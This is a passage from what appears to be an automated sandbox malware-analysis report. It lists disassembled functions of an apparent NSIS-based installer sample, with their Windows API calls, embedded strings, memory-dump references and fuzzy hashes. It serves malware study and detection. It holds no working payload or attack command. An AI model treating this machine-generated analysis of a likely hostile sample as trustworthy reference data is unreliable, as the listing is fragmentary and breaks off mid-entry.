Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: aebbfb54fe117075fb91935afd2b3d42be9cb3525beaf419298f1839c78bdf39
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: aebbfb54fe117075fb91935afd2b3d42be9cb3525beaf419298f1839c78bdf39
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 04fd410bbb31de0d7d21d8cf733f8caec58fdd5b228a354368cf1c704b35d166
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 04fd410bbb31de0d7d21d8cf733f8caec58fdd5b228a354368cf1c704b35d166
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00011E00,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 3f37f65ad39e50193b5eb5465f4a6a1b76990ca473236759665c0c01a91169be
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 3f37f65ad39e50193b5eb5465f4a6a1b76990ca473236759665c0c01a91169be
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 48bae300e43d63654b7fe916574e47b7d5bb67918eda10473d167f607cc9ee43
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 48bae300e43d63654b7fe916574e47b7d5bb67918eda10473d167f607cc9ee43
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: f84dc7438b734d649018535b99f5ff883fadf72990f7ea17a428efaae3f8c2d6
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: f84dc7438b734d649018535b99f5ff883fadf72990f7ea17a428efaae3f8c2d6
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

open, xrefs: 00402770
<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

